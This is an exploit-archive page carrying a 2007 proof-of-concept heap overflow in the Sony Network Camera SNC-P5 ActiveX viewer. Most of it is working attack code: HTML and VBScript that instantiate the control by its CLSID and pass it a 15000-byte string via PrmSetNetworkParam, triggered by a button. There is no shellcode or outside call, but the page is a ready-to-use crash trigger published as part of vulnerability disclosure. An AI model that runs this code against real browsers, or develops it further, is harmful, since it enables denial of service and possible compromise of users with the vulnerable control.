Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC
# Published : 2007-06-27
# Author : str0ke
# Previous Title : RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow PoC
# Next Title : Microsoft Excel 2000/2003 Sheet Name Vulnerability PoC

<!--
Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC

Camera info
http://bssc.sel.sony.com/BroadcastandBusiness/DisplayModel?id=79540

SNC-P5 External API documentation
http://www.tracor-europe.info/racine/sony/PROG/P5/API/Documents/SNC-P5APIDocument1.0EN.pdf

/str0ke ! milw0rm.com 
-->

<script language = 'vbscript'>
Sub tryMe()
  buff = String(15000, "A")
  viewer.PrmSetNetworkParam buff, 1
End Sub
</script>

<OBJECT CLASSID="CLSID:5CB430A9-CAAC-4C91-AF61-6D410EEE1221" id="viewer"> </OBJECT>

<input language=VBScript onclick=tryMe() type=button value="Click Me">

# www.Syue.com [2007-06-27]